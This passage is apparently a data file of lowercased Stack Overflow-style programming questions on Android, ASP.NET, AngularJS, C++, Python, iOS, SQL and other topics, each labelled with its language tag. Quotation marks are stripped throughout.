connection.getresponsecode();              return (   + res);          } catch (malformedurlexception e) {             e.printstacktrace();         } catch (ioexception e) {             e.printstacktrace();         } catch (jsonexception e) {             e.printstacktrace();         }         return null;     } </code></pre>   get response   <pre><code>    @override     protected void onpostexecute(string s) {             log.d( ok   s);             int s1 = integer.parseint(s);             if ((s1== httpurlconnection.http_accepted) || (s1 ==httpurlconnection.http_ok)) {               pdialog.dismiss();                  toast.maketext(getactivity()   registration success  + s           toast.length_short).show();             }             else {      pdialog.dismiss();                      toast.maketext(getactivity()   failure  + s  toast.length_short).show();             }             super.onpostexecute(s);         }     } </code></pre>,android
trying to convert functional asp:commandfield to asp:linkbutton via asp:templatefield  i want to take advantage of the breadth of attributes available to a <code>linkbutton</code> compared to a <code>commandfield</code>.  when calling the code behind method from on click i get this error message:    <blockquote>    cs0123: no overload for  viewhandler  matches delegate    system.eventhandler .  </blockquote>   gridview definition:   <pre><code>&lt;asp:gridview id= wc  emptydatatext= empty wc table...  runat= server   autogeneratecolumns= false  gridlines= horizontal  datakeynames= wc_id pw_id r_qty   cssclass= mgrid  pagerstyle-cssclass= pgr  alternatingrowstyle-cssclass= alt    allowsorting= true  onsorting= sorting  allowpaging= true  pagesize= 15  viewstatemode= enabled  onselectedindexchanging= viewhandler  onpageindexchanging= handlepageindexchanging  onrowdatabound= gvrowdatabound  onrowediting= gvrowediting  onrowcancelingedit= gvrowcancelingedit  onrowupdating= gvrowupdating &gt; </code></pre>   orig button...   <pre><code>&lt;asp:commandfield controlstyle-font-size= smaller  controlstyle-forecolor= #717171  headertext= ...  showselectbutton= true  itemstyle-horizontalalign= center  selecttext= ...  /&gt;     </code></pre>   convert to....   <pre><code>&lt;asp:templatefield headertext= ...  showheader= true  itemstyle-horizontalalign= center &gt;          &lt;itemtemplate&gt;            &lt;asp:linkbutton style= font-size: 0.9em; color: #717171  id= details  runat= server  causesvalidation= false  onclick= viewhandler  commandname= viewhandler  text= ...  tooltip= click here to see purchase history and notes &gt;&lt;/asp:linkbutton&gt;          &lt;/itemtemplate&gt;      &lt;/asp:templatefield&gt; </code></pre>   code behind:   <pre><code>protected void viewhandler(object sender  gridviewselecteventargs e)     {         string wc_id =wc.rows[e.newselectedindex].cells[0].text;         string pw_id = wc.rows[e.newselectedindex].cells[1].text;         string vin = wc.rows[e.newselectedindex].cells[2].text;         string prod = wc.rows[e.newselectedindex].cells[3].text;         string w = wc.rows[e.newselectedindex].cells[4].text;         string size = wc.rows[e.newselectedindex].cells[5].text;         e.cancel = true;         session.add(webconstants.wc_id  wc_id);         session.add(webconstants.pw_id  pw_id);         session.add(webconstants.vin  vin);         session.add(webconstants.prod  prod);         session.add(webconstants.w  w);         session.add(webconstants.size  size);         detailsnavigatemethod.dynamicinvoke();         handlepagenavigation(webconstants.wc_details   wc view for wc_purchaseid-&gt;   + session[webconstants.wc_id].tostring());     } </code></pre>   what do i need to do to make the signature match with the <code>viewhandler</code> method   i did notice if i switch from <code>gridviewselecteventargs</code> to <code>eventargs</code> the overload error goes away but then <code>e.newselectedindex</code> does not exists...    thanks!,asp.net
$parse vs $eval   which one is best practice   i know that <code>$parse</code> and <code>$eval</code> both operate on angular expressions.then why angular team created these two      i checked in angular library  <code>$eval</code> is defined like that:   <pre><code>$eval: function(expr  locals) {         return $parse(expr)(this  locals);       } </code></pre>   so what is difference between :   <pre><code>$parse(expr)(context  locals); </code></pre>   and    <pre><code>$eval: function(expr  locals) {         return $parse(expr)(this  locals);       } </code></pre>   i want to know which one is best practice   and when to use these two,angularjs
invisible text is still visible in the overview  please assist      i have hidden text in the onpause() however when clicking the square (overview) button as per the image below the text still appears as visible. i do not want the user to view the text as it could be a way of cheating.    thanks    my code:   <pre><code>@override     public void onresume() {         super.onresume();      sumtextview.setvisibility(view.visible);     }       @override     public void onpause() {          sumtextview.setvisibility(view.invisible);         super.onpause();     } </code></pre>   <a href= https://i.stack.imgur.com/yqgpm.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yqgpm.jpg  alt= when overview button pressed ></a>,android
counting lines from a file input   the following code is supposed to count: the lines  the characters and the words read from a text file.    input text file:   <pre><code>this is a line.  this is another one. </code></pre>   the desired output is:   <pre><code>words: 8  chars: 36  lines: 2 </code></pre>   however  the word count comes out to 0 and if i change it then lines and characters come out to 0 and the word count is correct. i am getting this:   <pre><code>words: 0  chars: 36  lines: 2 </code></pre>   this is my code:   <pre><code>#include&lt;iostream&gt; #include&lt;fstream&gt; #include&lt;string&gt;  using namespace std;   int main() {     ifstream infile;     string filename;       cout &lt;&lt;  please enter the file name   &lt;&lt; endl;     getline(cin filename);     infile.open(filename.c_str());      string line;     string chars;     int number_of_lines = 0;     int number_of_chars = 0;  while( getline(infile  line) )     {         number_of_lines++;         number_of_chars += line.length();     }      string words;     int number_of_words = 0;  while (infile &gt;&gt; words)     {         number_of_words++;     }      cout &lt;&lt;  words:   &lt;&lt; number_of_words &lt;&lt;   &lt;&lt; endl;     cout &lt;&lt;  chars:   &lt;&lt; number_of_chars &lt;&lt;   &lt;&lt; endl;     cout &lt;&lt;  lines:   &lt;&lt; number_of_lines &lt;&lt;   &lt;&lt; endl;      return 0; } </code></pre>   any guidance would be greatly appreciated.,c++
ios statusbar from background app  i have a theoretical question  is it possible to develop an app for ios   part of this app would be a statusbar. lets say  the app is a stopwatch. when i close the app and for example switch to safari  or to home screen or to any other app i need to have a status bar showing the time from the stopwatch.     is this possible     thank you for any help!,ios
iphone sdk: how can i copy a file to the iphone simulator using xcode   i need to know how to copy resources (help files  images  plists) to the iphone simulator and ultimately device. i thought this was done through xcode but i cannot recall the exact procedure. if someone could kindly provide some brief intructions....    thanks in advance.,iphone
how can i do this select query  i have in my sql server  a table called favoriteusers with a list of users and a table called users with all users.     in my <code>aspx</code> page  i have a <code>textbox</code> where my user can put the id of an user to list in my <code>gridview</code>.     <strong>how it works</strong>    by default  i fill my gridview with all data of my favoriteusers table  and if the user of my system put some user code in the <code>textbox</code> field and click on my button to find these users  i ll reload the gridview with the favoriteusers and the users that he put on <code>textbox</code> field that come from the table <code>users</code>.    how can i do this <code>select</code> query,sql
.net framework 4 sdk download url   you used to be able to download a neatly packaged .net framework sdk  which had the framework + developer tools (other than visual studio of course).  what s the equivalent for .net 4     the reason i ask is that i need to upgrade my build server to build .net 4 code  and i don t want to install visual studio on it.,.net
object changed while deserialization  i m serializing an object and storing the serialized value in db and getting the deserialization to work fine as well after getting values from db.    but problem occurs if the existing object is modified and a new property is added in the class. then while deserializing it looks for that property in serialized text and upon not finding it there  i get the following error    system.runtime.serialization.serializationexception: member  temp  was not found.    is there any way i can know if new property was not there while serialization and can skip that  i m using custom serialization.,.net
output is mistakenly zero in c program  i am learning c i decided to make a file that would calculate the surface area and volume of a sphere once its radius was given by the user. however  when i tried compiling the program by typing in:    <pre class= lang-none prettyprint-override ><code>gcc sphere.c -lm -o sphere </code></pre>   and i enter the radius when i am prompted to  the sa and v output is always zero. what s going on here  i may be overlooking something simple. here is my code:    <pre class= lang-c prettyprint-override ><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  double main() {     double rad;     double sa  vol;     const double pi = 3.141592654;      printf( enter the radius of the sphere: \n );     scanf( %f   &amp;rad);      vol = (4.0/3.0)* pi *(pow(rad 3));     sa = 4.0 * pi * (pow(rad 3));      printf( volume of sphere is: %.3f   vol);     printf( \n surface area of sphere is: %.3f   sa);      return 0;  } </code></pre>,c
compiler for java  how create a compiler for java using a java program,java
paying off debt program in python  i am currently working on a problem which asks to make a program that determines fixed monthly payments to pay off a certain amount of debt.    for some reason  this code enters an infinite loop when i increment the mp value by anything less than 70. and if i use a value of 70 and higher  the recommended monthly payment is way off.    <pre><code>def nodebt(balance  annualinterestrate):              balance -&gt; int/float  the amount of debt youre in     annualinterestrate --&gt; interest rate (divide by % 100 first)              balance0 = balance     month = 0      mir = annualinterestrate/12.0     mp = 10      while balance &gt; 0:          balance = balance0         mp = mp + 10          while month &lt; 12:              mub = balance - mp             balance = mub + (mir*mub)             month = month + 1       return mp </code></pre>   i ve run this and just talked through it for a while -- not sure why it s not working.    does anyone have any advice,python
add a row to gridview from an array string without defining columns c#  re above - solved with the following code extract: ring columnnamequery =  select column_name from [flushing rig 20251].information_schema.columns where table_name =    + dbcomms.localdb.dbtablename +    ;             //get the headers of the columns in sql and copy them to the gridview on the form             using (sqlconnection connection = new sqlconnection(tempcon))             {   <pre><code>            sqlcommand cmd = new sqlcommand(columnnamequery  connection);             datatable dt = new datatable();             sqldataadapter adp = new sqldataadapter(cmd);             adp.fill(dt);             for (int i = 0; i &lt; columncount; i++)             {                 dglocaldbres.columns[i].headertext = dt.rows[i][0].tostring();             }         }         //execute the search query         //using (sqlconnection connection = new sqlconnection(dbcomms.localdb.dbconstring))         using (sqlconnection connection = new sqlconnection(tempcon))         {                             try             {                 // read all data from the database                 connection.open();                 sqlcommand command = new sqlcommand(querystring  connection);                 sqldatareader reader = command.executereader();                 while (reader.read())                 {                     try                     {                         for (int i = 0; i &lt; columncount; i++)                         {                             if (!reader.isdbnull(i))                                 rowtoadd[i] = reader.getvalue(i).tostring();                         }                         dglocaldbres.rows.add(rowtoadd);                         resfound++;                      }                     catch (exception ex)                     {                         if (!errlogged)                             catprocs.logevent( frmlocaldb-btnsearch. error populating results from reader. 1 or more results not displayed. error:   + ex.message);                     }                 }                  reader.close(); </code></pre>  <blockquote>    i m trying to add a new row to gridview from an sql database which has over 250 columns (which means hard code defining the columns might be difficult. any thoughts on possibly doing this inside a loop   </blockquote>   here is my current attempt using windows forms applications    <pre><code>        columnstring =  select  [  + dbcomms.localdb.dbtablename +  ]   count (*) from information_schema.columns ;         using (sqlconnection connection = new sqlconnection(tempcon))         {                                            sqlcommand columncounter = new sqlcommand(columnstring  connection);             try             {                 connection.open();                 sqldatareader columnreader = columncounter.executereader();                 while (columnreader.read())                 {                     columncount = int.parse(columnreader[1].tostring()); //set the number of columns for loop later                 }                 columnreader.close();             }             catch (exception)             {                 messagebox.show( error retrieving number of columns from database );             }             connection.close();         }         columncount = columncount - 5;         string[] rowtoadd = new string[columncount];  using (sqlconnection connection = new sqlconnection(tempcon))             {                                 try                 {                     // read all data from the database                     connection.open();                     sqlcommand command = new sqlcommand(querystring  connection);                     sqldatareader reader = command.executereader();                     datatable dtbl = new datatable();                      while (reader.read())                     {                         try                         {                             for (int i = 0; i &lt; columncount; i++)                             {                                 if (!reader.isdbnull(i))                                     rowtoadd[i] = reader.getvalue(i).tostring();                             }                             datagridview1.rows.add(rowtoadd);                             resfound++; </code></pre>,c#
append in a list causing value overwrite  i am facing a peculiar problem. i will describe in brief bellow suppose i have this piece of code -   <pre><code>class myclass:     __postbodies = []     .     .     . for the_file in os.listdir( /dir/path/to/file ):       file_path = os.path.join(folder  the_file)       params = self.__parsefileastext(str(file_path)) #reads the file and gets some parsed data back       dictdata = { file :str(file_path)   body :params}       self.__postbodies.append(dictdata)       print self.__postbodies       dictdata = none       params = none </code></pre>   problem is  when i print the params and the dictdata everytime for different files it has different values (the right thing)  but as soon as the append occurs  and i print __postbodies a strange thing happens. if there are thee files  suppose a b c  then   <blockquote>    first time __postbodies has the content = [{ body :{a dict with some   data related to file a}   file : path/of/a }]        second time it becomes = [{ body :{a dict with some data relaed to   file b}   file : path/of/a }  { body :{a dict with some data relaed to   file b}   file : path/of/b }]        and third time = [{ body :{a dict with some data relaed to file c}     file : path/of/a }  { body :{a dict with some data relaed to file c}     file : path/of/b }  { body :{a dict with some data relaed to file c}     file : path/of/c }]  </blockquote>   so  you see the  file  key is working very fine. just strangely the  body  key is getting overwritten for all the entries with the one last appended.     am i making any mistake  is there something i have to  please point me to a direction.     sorry if i am not very clear.        edit ------------------------    the return from self.__parsefileastext(str(file_path)) call is a dict that i am inserting as  body  in the dictdata.    edit2 ----------------------------    as you asked  this is the code  but i have checked that params = self.__parsefileastext(str(file_path)) call is returning a diff dict everytime.   <pre><code>def __parsefileastext(self  filename):          i = 0         tempparam = staticconfig.paste_params          tempparam[staticconfig.key_paste_param_name] =            tempparam[staticconfig.key_paste_param_pasteformat] =  text          tempparam[staticconfig.key_paste_param_expiredate] =  n          tempparam[staticconfig.key_paste_param_private] =            tempparam[staticconfig.key_paste_param_user] =            tempparam[staticconfig.key_paste_param_devkey] =            tempparam[staticconfig.key_paste_format_pastecode] =             for line in fileinput.input([filename]):             temp = str(line)             temp2 = temp.strip()             if i == 0:                               postvalues = temp2.split( ||| )                  if int(postvalues[(len(postvalues) - 1)]) == 0 or int(postvalues[(len(postvalues) - 1)]) == 2:                     tempparam[staticconfig.key_paste_param_name] = str(postvalues[0])                      if str(postvalues[1]) ==   :                                                                 tempparam[staticconfig.key_paste_param_pasteformat] =  text                      else:                         tempparam[staticconfig.key_paste_param_pasteformat] = postvalues[1]                      if str(postvalues[2]) !=  n :                         tempparam[staticconfig.key_paste_param_expiredate] = str(postvalues[2])                      tempparam[staticconfig.key_paste_param_private] = str(postvalues[3])                     tempparam[staticconfig.key_paste_param_user] = staticconfig.api_user_key                     tempparam[staticconfig.key_paste_param_devkey] = staticconfig.api_key                  else:                     tempparam[staticconfig.key_paste_param_user] = staticconfig.api_user_key                     tempparam[staticconfig.key_paste_param_devkey] = staticconfig.api_key                 i = i+1             else:                 if tempparam[staticconfig.key_paste_format_pastecode] !=    :                                tempparam[staticconfig.key_paste_format_pastecode] = str(tempparam[staticconfig.key_paste_format_pastecode])+ \n +temp2                 else:                     tempparam[staticconfig.key_paste_format_pastecode] = temp2          return tempparam </code></pre>,python
calling c++ dll in vc++  i am writing a application on vc++ using sagem morpho dll s.<br> the dll i am referring is morpho_sdk.dll<br> the function exposed is i    <pre><code>c_morpho_user::enroll  ( us  i_us_timeout uc  i_uc_fingernumber  t_morpho_type_template  i_x_templatetype      ul  i_ul_callbackcmd      t_morpho_callback_function  i_pf_callback      pvoid  i_pv_callbackargument      i  i_i_coderchoice      ul  i_ul_detectmodechoice     )    </code></pre>   the way i am calling is      <pre><code>    int res;       c_morpho_user u nw idf;    extern  c   __declspec(dllimport) int enroll  ( us  i_us_timeout uc  i_uc_fingernumber       t_morpho_type_template  i_x_templatetype      ul  i_ul_callbackcmd      t_morpho_callback_function  i_pf_callback      pvoid  i_pv_callbackargument      i  i_i_coderchoice      ul  i_ul_detectmodechoice     ) ;   main() { int x=u.enroll(0x15 1 morpho_pk_iso_fmr  0 null null morpho_mso_v9_coder  morpho_enroll_detect_mode);       printf( %d\n  x);   }   </code></pre>   while compiling i am getting these error     <blockquote>    1.syntax error : missing  ;  before identifier  u <br>   2.c_morpho_user : missing storage-class or type specifiers.  </blockquote>   is this the correct way to call the dll. kindly help in resolving the issue.,c++
jquery not looping through image  i m looking to fadeout / fadein my images after a set interval  the issue i m having is that it s just constantly fading in and out of the same image rather than moving onto the next 3. any ideas just from looking at it  it seems to me as if it should be working.   <pre><code>var loopimage =     {         init: function()         {             //initial fade-in time (in milliseconds)             var initialfadein = 1000;              //interval between items (in milliseconds)             var iteminterval = 10000;              //cross-fade time (in milliseconds)             var fadetime = 2500;              //count number of items             var numberofitems = $( .explainerlink ).length;              //set current item             var currentitem = 0;              //show first item             $( .explainerlink ).eq(currentitem).fadein(initialfadein);              //loop through the items             var infiniteloop = setinterval(function(){                 $( .explainerlink ).eq(currentitem).fadeout(fadetime);                  if(currentitem == numberofitems -1){                     currentitem = 0;                 }else{                     currentitem++;                 }                 $( .explainerlink ).eq(currentitem).fadein(fadetime);              }  iteminterval);         }     };      loopimage.init(); </code></pre>   html:   <pre><code>&lt;img src= themes/base/img/img-1.png  class= active animated bounceinup  /&gt;  &lt;img src= themes/base/img/img-2.png  class=   /&gt;  &lt;img src= themes/base/img/img-3.png  class=   /&gt;  &lt;img src= themes/base/img/img-4.png  class=   /&gt; &lt;/div&gt; </code></pre>,jquery
generate a random biginteger between two values c#  i use the biginteger class whose <a href= https://www.codeproject.com/articles/2728/c-biginteger-class  rel= nofollow noreferrer >source </a>  and i want to generate a biginteger number between two values min and max randomly so i used this method found on stackoverflow :    <pre><code>public biginteger getrandom(int n)     {         var rng = new rngcryptoserviceprovider();         byte[] bytes = new byte[n / 8];         rng.getbytes(bytes);         return new biginteger(bytes);      } </code></pre>   but i can not generate numbers between min and max because the parameters of this function represent the number of bits  can someone help me  thank you in advance!    min and max are also a biginteger.,c#
customised tabbar on storyboards in ios7  i am doing the requirement that i need to fully customized the <code>uitabbar</code> and shows the actual images on <code>uitabbaritems</code>.    by googling i get the code below its worked fine    <pre><code>uiimage *musicimage = [uiimage imagenamed:@ music.png ]; uiimage *musicimagesel = [uiimage imagenamed:@ musicsel.png ];  musicimage = [musicimage imagewithrenderingmode:uiimagerenderingmodealwaysoriginal]; musicimagesel = [musicimagesel imagewithrenderingmode:uiimagerenderingmodealwaysoriginal];  self.musicviewcontroller.tabbaritem = [[uitabbaritem alloc] initwithtitle:@ music  image:musicimage selectedimage:musicimagesel]; </code></pre>   but i am not using any code in my app and i used only <code>storyboard</code> is there any way to get the actual images on tabbar item     thankyou,ios
orderby doesn t seem to work after editing result values in angular  i wrote this directive editable-field to be able to edit values after the form search results.   <pre><code>&lt;table&gt;.. &lt;tr ng-repeat= emp in srchctrl.emps | orderby :  salary  &gt;         &lt;td&gt;{{emp.id}}&lt;/td&gt;         &lt;td editable-field= emp.name &gt;&lt;/td&gt;         &lt;td editable-field= emp.salary &gt;&lt;/td&gt;         &lt;td editable-field= emp.department.name &gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   after i change the value  the values change  but  how can i ask angular to refresh results with orderby filter using new values    <pre><code>.controller( maincontroller ).. var self = this; self.emps = [ ]; // this will be populated after the promise resolves.  } </code></pre>   i see the emps getting updated by printing them.   <pre><code>.directive( editablefield   function () {     var self = this || {};     self.link = function (scope  elm  attr  editctrl) {         var previousvalue;     editctrl.edit = function () {         editctrl.editmode = true;         previousvalue = editctrl.model;         elm.find( input )[0].focus();     };     editctrl.save = function () {         editctrl.editmode = false;     };     editctrl.cancel = function () {         editctrl.editmode = false;         editctrl.model = previousvalue;     }; } return {     scope: {}      controlleras:  editctrl       controller: function () {     }      bindtocontroller: {         model:  =editablefield      }      link: self.link      templateurl:  ../../../templates/row-edit.html  }; }) </code></pre>   this is my editablefield directive which binds editablefield field on the row to the model in the controller which is editctrl.     on save i am calling the callback function on the main controller which has reference to the emps    if i call scope.$apply() in any of the editctrl s save  it says  $apply already in progress    <pre><code>$scope.$watch(angular.bind(self  function () {                         return self.emps; // `this` is the `this` above!!                     })  function (newval  oldval) {                         // now we will pickup changes to newval and oldval                         if (newval === oldval) { console.log( first time ); return; } // aka first run                         console.log( self.emps updated );                     }); </code></pre>   i see the value getting updated on changing values in the ui.   <pre><code> scope.$watch(angular.bind(editctrl  function () {                                 return editctrl.model;                             })  function (newval  oldval) {                                 if (newval === oldval) { console.log( model first time +newval); return; }                                 console.log( model updated );                             }); </code></pre>,angularjs
how to response before the server return on ios  my situation is  like this:    when you press a button  it will first hide the button  and then send a http request to the server  the request is sent to a php script and execute an  exe  to use the printer to print something.     but when i test the app  i find the button hides when the  exe  on the server exits  the result is that when i press the button  the application is like  not response   the button  dose not hide and keep the state of  press down   it is not user-friendly. so any ideas to help me solve this     <hr>   finally  i used slef performselectorinbackground  since i did not care the result php return  it works well and easier than asynchronous call.,ios
how can display caption from another table in mysql   i have two table    table a    <pre><code>add1 |add2 | add3   1    |2    |3 </code></pre>   another table b contains what the add1 add2 add3 means    table b   <pre><code>add1           | add2       | add3       | caption1       | caption2   | caption3 </code></pre>   i want to display like    <pre><code>caption  | value caption1 | 1 caption2 | 2 caption3 | 3 </code></pre>   or    <pre><code>caption1 | caption2 | caption3  1        | 2        | 3 </code></pre>   how can do this in mysql   if it is not possible pls suggest a better structure for this need. every month the caption may be changed.,mysql
spread css columns horizontally instead of vertically  i m not quite sure that this is possible (at least not from my experience or googling)  but i was wondering if there was a way to force the order of css columns. for instance  instead of:   <pre><code>item1        item4        item7 item2        item5        item8 item3        item6        item9 </code></pre>   order them like this:   <pre><code>item1        item2        item3 item4        item5        item6 item7        item8        item9 </code></pre>   given html like this:    <pre><code>&lt;ul&gt;     &lt;li&gt;item1&lt;/li&gt;     &lt;li&gt;item2&lt;/li&gt;     etc... &lt;/ul&gt; </code></pre>   of course i could use a table (no thanks) or floats  but i was hoping to use the css <code>columns</code> property.,css
no visible @interface for nsmutableurlrequest declares the selector sethttpbody  <a href= http://i.stack.imgur.com/e3xiu.png  rel= nofollow >this is my screenshot</a>[i searched for solution of this but did not get any solution. why it shows me an error displayed in screenshot. please help me.   <pre><code>nsurl *url=[nsurl urlwithstring:@ http://www.gourmet7.com/auth ];     nsdata *postdata = [post datausingencoding:nsasciistringencoding allowlossyconversion:yes];     nsstring *postlength = [nsstring stringwithformat:@ %lu   (unsigned long)[postdata length]];     nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init];     [request seturl:url];     [request sethttpmethod:@ post ];     [request setvalue:postlength forhttpheaderfield:@ content-length ];     [request setvalue:@ application/x-www-form-urlencoded  forhttpheaderfield:@ content-type ];     [request sethttpbody:postdata];     nserror *error = [[nserror alloc] init];     nshttpurlresponse *response = nil;     nsdata *urldata = [nsurlconnection sendsynchronousrequest:request returningresponse:&amp;response error:&amp;error];      nslog(@ response code: %ld   (long)[response statuscode]);                 nsstring *responsedata = [[nsstring alloc]initwithdata:urldata encoding:nsutf8stringencoding]; </code></pre>   ]<a href= http://i.stack.imgur.com/f7wwf.png  rel= nofollow >2</a>,ios
angular is not processing part of a view; no error in console  i have an odd issue where everything on the page is being processed by angular except for one small part helping to assign a css property.   <pre><code>.full-page(ng-repeat= page in pagerange(section.id)  style= top:{{(pageheight * $index) + (15 * $index)}}px; ) </code></pre>   in ie i am seeing   <pre><code>top: {{((pageheight * $index) + (15 * $index))}}px </code></pre>   and in chrome i am getting   <pre><code>top: 0px </code></pre>   pageheight appears to be coming from its controller via   <pre><code>$scope.pageheight </code></pre>   i m pretty new to angular and working on a project that uses it on the front end. i having a hard time figuring out why ie not calculating. from what i can tell chrome isn t either its just defaulting to 0px. i ve been researching online and playing around with different ways to write it but i can seem to get anything to trigger is expected.,angularjs
operation is not allowed when the object is closed  i am facing an error on the web page that i am working on. the problem is when i try to open up the web page: www.ice-tech.com it loads fine  but when you try to refresh it  it crashes.     you can see the error itself on-line. can someone help me,asp.net
how to get title attribute from link within a class with javascript  i am trying to pull the title attribute from links within a class and having a bit of trouble:   <pre><code>&lt;div class= menu &gt; &lt;a href= #  title= 4242  onclick= cselect() &gt;united states&lt;/a&gt; &lt;a href= #  title= 4243  onclick= cselect() &gt;canada&lt;/a&gt; &lt;/div&gt; </code></pre>   and here s what i ve tried:   <pre><code>function cselect(){     var countryid = $(this).attr( title );     location.href = location.href.split( # )[0] +  #  +countryid;     location.reload(); } </code></pre>   thanks!,javascript
nameerror in userscontroller#create uninitialized constant userscontroller::users  i got this error -   <pre><code>nameerror in userscontroller#create  uninitialized constant userscontroller::users </code></pre>   i want to mail function in my app. my code    <pre><code>class userscontroller &lt; applicationcontroller   def log_out     reset_session      redirect_to registrations_login_path   end    def create         @user = users.new(params[:user])     if @user.save       usermailer.welcome_email(@user).deliver     end   end end </code></pre>   i follow <a href= http://guides.rubyonrails.org  rel= nofollow >http://guides.rubyonrails.org</a>,ruby-on-rails
generic fill of some property in .net  i have 3 lists of co  sto  and per. each entity co sto and per has a field guid. i need to make some method to generate guid for every list something like   <pre><code> public static void fillguids (list&lt;&gt; list)         {             foreach ( var c in list)             {              }         } </code></pre>   please help. thank you,.net
how to read hh  mm and ss in c++ in  hh:mm:ss  format  how cin will read hh  mm and ss while the input format is <strong>hh:mm:ss</strong> if i do   <pre><code>cin&gt;&gt;hh; cout&lt;&lt; : ; cin&gt;&gt;mm; </code></pre>   then it will come in the next line which i don t want.,c++
programatically load a usercontrol from another project  i like to build a components collection project so that i can use those components later on other projects. for example i created a usercontrol called mydatagrid.ascx    so suppose the projects layout are something like this:   <blockquote>    --> <strong>ipgostarproject</strong> - under namespace of ipgostar - contains components and   lot s of user controls        --> <strong>sampleproject</strong> - here i want to use mydatagrid.ascx usercontrol from   ipgostar namespace.  </blockquote>   but as you know loadcontrol function only takes virtual directory as it s parameter. so you can t load anything outside the sampleproject directory!     so how can i do that,asp.net
loading image without storing it to disk from a servlet with jquery asynchronously  i want to load an image from a servlet to a jsp file without storing it to any disk with help of jquery .it should be done asynchronously . below is my code     jsp.page ( code of entire jsp  page is not given ) . when the page is loaded getcaptchaimage() function is called . this function will call doget method in the servlet captcha. image should be loaded in the result div. but nothing is been loaded . when i put an alert inside the javascript it shows data in encoded format .i have tried to encode the image in base64 format in servlet but still nothing comes to the browser. even writing the response to printer object doesn t worked      <a href= https://i.stack.imgur.com/z27i6.png  rel= nofollow noreferrer >data image link</a>   <pre><code>    &lt;script src= http://code.jquery.com/jquery-latest.min.js &gt;&lt;/script&gt;     &lt;script&gt;     function getcaptchaimage ()     {      $.get( captcha  function(data){     $( .result ).html( &lt;img src= data:image/bmp;base64   + data +    /&gt; );     });     }    &lt;/script&gt; &lt;/head&gt; &lt;body onload= getcaptchaimage() &gt; &lt;div class= result  &gt; &lt;/div&gt; </code></pre>   <strong>servlet code</strong> :   <pre><code>@webservlet( /captcha ) public class captcha extends httpservlet {     private static final long serialversionuid = 1l;      /**      * @see httpservlet#httpservlet()      */     public captcha() {         super();         // todo auto-generated constructor stub     }      /**      * @see httpservlet#doget(httpservletrequest request  httpservletresponse response)      */     protected void doget(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception {         // todo auto-generated method stub             gtcresult = captcha.generatecaptchacustom(100) // generates the image                  inputstream in = new bytearrayinputstream(gtcresult.getbmp());                 bufferedimage bimagefromconvert = imageio.read(in);                   response.setcontenttype( image/bmp );                     outputstream out = response.getoutputstream();                 imageio.write(bimagefromconvert   bmp   out);                  out.flush();                 out.close();                    }             long endtime = system.currenttimemillis();             long duration = endtime - starttime;             system.out.println( duration :  + duration);        }catch(exception e){         system.out.println( image failed :  + e.getmessage());     }       //response.getwriter().append( served at:  ).append(request.getcontextpath());       }      /**      * @see httpservlet#dopost(httpservletrequest request  httpservletresponse response)      */     protected void dopost(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception {         // todo auto-generated method stub      } } </code></pre>,javascript
disable sending texts on android  i want to be able to have the user press a button in the app that disables sending texts.  in my googling attempts  i ve seen that it might be impossible.  does anyone know how to accomplish this   my thoughts are either to disable opening the texting app or just disable the send button in the texting app.,android
404 object not found for javascript files  i have a .net 1.1 webapp.    i have a usercontrol (.ascx) that has links to 3 js files in script tags.    when i run the app and load a page with the usercontrol all is fine and firebug shows the js files listed.    but when i load another page that loads the usercontrol in a .aspx in a new browser window firebug reports 404 object not found for the 3 js files.    what could cause this      malcolm,asp.net
collection <__nssetm: 0x14ea0160> was mutated while being enumerated  when i use the uicollectionview. i need change it s dataarray and reloaddata.  but when i delete one of the object in the dataarray  then i write the code [collectionview reloaddata]; i slide the collectionview then the error comes   tell me that      <strong>* terminating app due to uncaught exception  nsgenericexception   reason:  *</strong> collection &lt;__nssetm: 0x14ea0160> was mutated while being enumerated.    how can i resolve this problem  thank you very much!!!   <pre><code>nsmutablearray *temp = [nsmutablearray arraywitharray:self.dataarray];  for (mysource *source in self.dataarray) {      if (source.isselect) {          [temp removeobject:source];      }  }  self.dataarray = [nsmutablearray arraywitharray:temp];  [self.collectionview reloaddata]; </code></pre>,ios
how to react on the done button of the keyboard when using a uitextview   uitextview doesn t inherit from uicontrol  so there are not addtarget:forcontrolevent: methods possible. i used to register an action method just to resign first responder when uicontroleventeditingdidendonexit happens.    how can i do that with an uitextview  is there some delegate + protocol i must implement so i can make the keyboard go away,iphone
adding a custom initwith   if i create a custom initwith for an object do i essentially include the code i would add should i want to override init    <pre><code>-(id) init {     self = [super init];     if (self) {         nslog(@ _init: %@   self);     }     return(self); } </code></pre>   e.g.   <pre><code>-(id) initwithx:(int) inposx andy:(int) inposy {     self = [super init];     if(self) {         nslog(@ _init: %@   self);         posx = inposx;         posy = inposy;     }     return(self); } </code></pre>   gary,objective-c
select query to find difference  i am fairly new to sql.  my question is how do i group by a field and then determine the difference between values in a column.  for example.    claim# amount   <pre><code>1. c3101    50000 2. c3101    19000 3. c1307    30000 4. c1307    14000 5. c3104    75000 6. c3104     0 7. c1313    5000 8. c1313   10000 </code></pre>   expected results   <pre><code>1. c3101    -31000 2. c1307     -26000 3. c1313     5000 </code></pre>   i need to find the diffence between amounts relative to a claim number. so for c3101 i started at 50000 and went to 19000 so the transaction to get to 19000 would be -31000. c3104 would be ignored,sql
how to access objects inside array in php  i have a data from below in php.   <pre><code>       $data = [            [0] =&gt;[                    {‘id’: 1  ’title’: test}                   ]                   [                    {‘id’: 2  ’title’: sample}                   ]                 ] </code></pre>   and now i want to print the value of all name. what i have done so far is but it’s not working.  i only get a error  <code>invalid argument supplied for foreach()</code>.    <pre><code>  foreach ($data as $key =&gt; $value) {            foreach ($value as $k =&gt; $v) {                print_r($v-&gt;title);            }         } </code></pre>   what is wrong  please help. thank you.,php
how should i manage constants in a java project  usually we manage constants in interfaces. e.g.:   <pre><code>public interface commonconstant {     int a_type1=0;     int a_type2=1; } </code></pre>   but i m thinking that if the constant belongs to a class  we may just put it into that class  e.g.:   <pre><code>public class a {     public enum type {         type_one(0)          type_two(1);          public final int val;         type(int val) {             this.val = val;         }     }      private int type;     ... } </code></pre>   so which way should be better,java
